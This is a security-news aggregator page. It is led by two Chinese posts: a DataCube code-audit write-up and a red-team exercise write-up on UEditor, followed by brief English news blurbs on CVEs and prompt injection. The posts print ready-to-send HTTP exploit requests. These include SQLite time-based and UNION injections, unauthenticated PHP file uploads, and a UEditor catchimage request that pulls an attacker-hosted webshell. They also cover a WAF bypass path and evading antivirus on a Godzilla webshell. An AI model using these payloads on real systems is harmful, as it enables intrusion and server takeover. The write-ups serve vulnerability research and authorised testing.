Aggregator
DataCube 漏洞小结
在这里分享一下通过拖取 DataCube 代码审计后发现的一些漏洞,包括前台的文件上传,信息泄露出账号密码,后台的文件上传。当然还有部分 SQL 注入漏洞,因为 DataCube 采用的是 SQLite 的数据库,所以SQL 注入相对来说显得就很鸡肋。当然可能还有没有发现的漏洞,可以互相讨论。
phpinfo 泄露 SQL注入 无回显的SQL注入/DataCube/www/admin/setting_schedule.php
SQLite 没有sleep()函数,但是可以用 randomblob(N) 来制造延时。randomblob(N)函数是SQLite数据库中的一个常用函数,它的作用是生成一个指定长度的随机二进制字符串。
正常请求时间
POST /admin/setting_schedule.php HTTP/1.1Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
datetime=2024-04-24+02%3A00'+or+randomblob(9000000000000000000000000)+and+'1&tbl_type=fs&delete=1
延时响应
判断对应的 SQLite 的版本号
POST /admin/setting_schedule.php HTTP/1.1Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
datetime=-1'or+(case+when(substr(sqlite_version(),1,1)<'4')+then+randomblob(900000000000000000000000000)+else+0+end)+and+'1&tbl_type=fs&delete=1
可以判断出SQLite的版本是3
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
req_id=1) UNION ALL SELECT sqlite_version(),NULL,NULL--
查询出 sqlite 的版本号
www\admin\pr_monitor\getting_index_data.php
www\admin\pr_monitor\getting_screen_data.php#getData
www\admin\pr_monitor\getting_screen_data.php#getMonitorItemList
信息泄露www\admin\config_all.php
将从 SQLite3 数据库中获取的数据转换为一个 JSON 字符串,并输出在页面上
任意文件上传www\admin\transceiver_schedule.php
POST /admin/transceiver_schedule.php HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb8tU2iptV70lGozq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="upload_file"; filename="test1.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="usb_schedule"
1
------WebKitFormBoundaryb8tU2iptV70lGozq--
后台任意文件上传
www\admin\setting_photo.php
www\admin\setting_photo.php#insertPhoto
www\admin\images.php
登录后获取参数 accesstime 的值
将值替换到数据包中
POST /admin/setting_photo.php HTTP/1.1Content-Length: 414
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydzDlRcTHEmG3mohY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="add"
1
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="addPhoto"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="accesstime"
0.05027100 1713945976
------WebKitFormBoundarydzDlRcTHEmG3mohY--
成功将文件上传到 /images/slideshow/ 目录下
尚未解决的后台SQL注入类似的注入有很多,但是每一次都进行了 accesstime 的校验,所以需要不停的从页面上获取,这里仅从一处来进行探讨
www\admin\config_time_sync.php
www\admin\Util.class.php#TblConfUpdate
我们很明显的可以看到这里的SQL 语句是我们可控的
首先请求页面 /admin/config_time_sync.php 来获取一个 accesstime 值
再构造请求进行发包
我们将执行的 SQL 语句打印出来
BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.enable';insert into tbl_conf values('ntp.enable', 'true');select randomblob(999900000000000000000000000);select ('1');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.server';insert into tbl_conf values('ntp.server', 're-ene.energia.co.jp');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.retry_count';insert into tbl_conf values('ntp.retry_count', '5');COMMIT;这里很奇怪,已经完美的闭合并提示执行成功,却没有执行这条语句,有明白的大佬可以一起讨论一下。
10 Essential GRC Policy Management Best Practices
Policy management is the sturdy scaffolding that supports governance, risk, and compliance (GRC) objectives while shaping corporate culture and ensuring adherence to regulatory obligations. Yet, many organizations grapple with a fragmented approach—policies scattered across departments, processes misaligned, and technology underutilized. The result? A disjointed strategy that hampers visibility, agility, and, ultimately, effectiveness. Why Policy Management […]
The post 10 Essential GRC Policy Management Best Practices appeared first on Centraleyes.
The post 10 Essential GRC Policy Management Best Practices appeared first on Security Boulevard.
记某次攻防演练:大战UEditor并突破
记某次攻防演练:大战UEditor并突破
最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。
通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。
目录扫描进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。
使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。
C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。
但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。
查看方法:将dll文件丢入dnspy即可。
UEditor的曲折利用在源码中发现该系统使用UEditor。
可得UEditor的路径/Utility/UEditor/controller.ashx
访问关键接口/Utility/UEditor/?action=catchimage和/Utility/UEditor/?action=config
然而服务器返回403无法访问。
通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。
使用/Utility/UEditor/.css?action=catchimage可进行bypass,成功访问关键接口。
接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。
漏洞利用参考链接:
https://www.freebuf.com/vuls/181814.html
上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。
于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。
方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。
UEditor的简便利用传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr:<input type="text" name="source[]" /></p >
<inputtype="submit" value="Submit" />
</form>
原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。
POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx
请求发送后,返回包返回webshell路径。
总结-
UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限;
-
在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。
Infectious Prompt Injection Attacks on Multi-Agent AI Systems
LLMs are becoming very powerful and reliable, and multi-agent systems — multiple LLMs having a major impact tackling complex tasks — are upon us, for better and worse.
The post Infectious Prompt Injection Attacks on Multi-Agent AI Systems appeared first on Security Boulevard.
Infectious Prompt Injection Attacks on Multi-Agent AI Systems
W3 Total Cache Plugin Vulnerability Let Attackers Gain Unauthorized Access to Sensitive Data
A significant security vulnerability has been identified in the W3 Total Cache plugin for WordPress, affecting all versions up to and including 2.8.1. This critical flaw cataloged as CVE-2024-12365, has a CVSS score of 8.5, categorizing it as a high-severity risk. Discovered by security researcher villu164, the vulnerability allows authenticated attackers with Subscriber-level access and […]
The post W3 Total Cache Plugin Vulnerability Let Attackers Gain Unauthorized Access to Sensitive Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
Тень LibGen: как Meta оправдывает работу с пиратским контентом
FreeBuf早报 | 泰国总理遭遇电诈;腾讯回应用户被异地刷脸支付成功
Interested in learning batch
Detecting Teams Chat Phishing Attacks (Black Basta)
Veeam Azure Backup Vulnerability Allows Attackers to Utilize SSRF & Send Unauthorized Requests
A critical vulnerability has been identified in Veeam Backup for Microsoft Azure, specifically referenced as CVE-2025-23082. Discovered during internal testing, this security flaw could allow an attacker to exploit Server-Side Request Forgery (SSRF) vulnerabilities to send unauthorized requests originating from the system. This could potentially lead to serious consequences, including network enumeration and the facilitation […]
The post Veeam Azure Backup Vulnerability Allows Attackers to Utilize SSRF & Send Unauthorized Requests appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.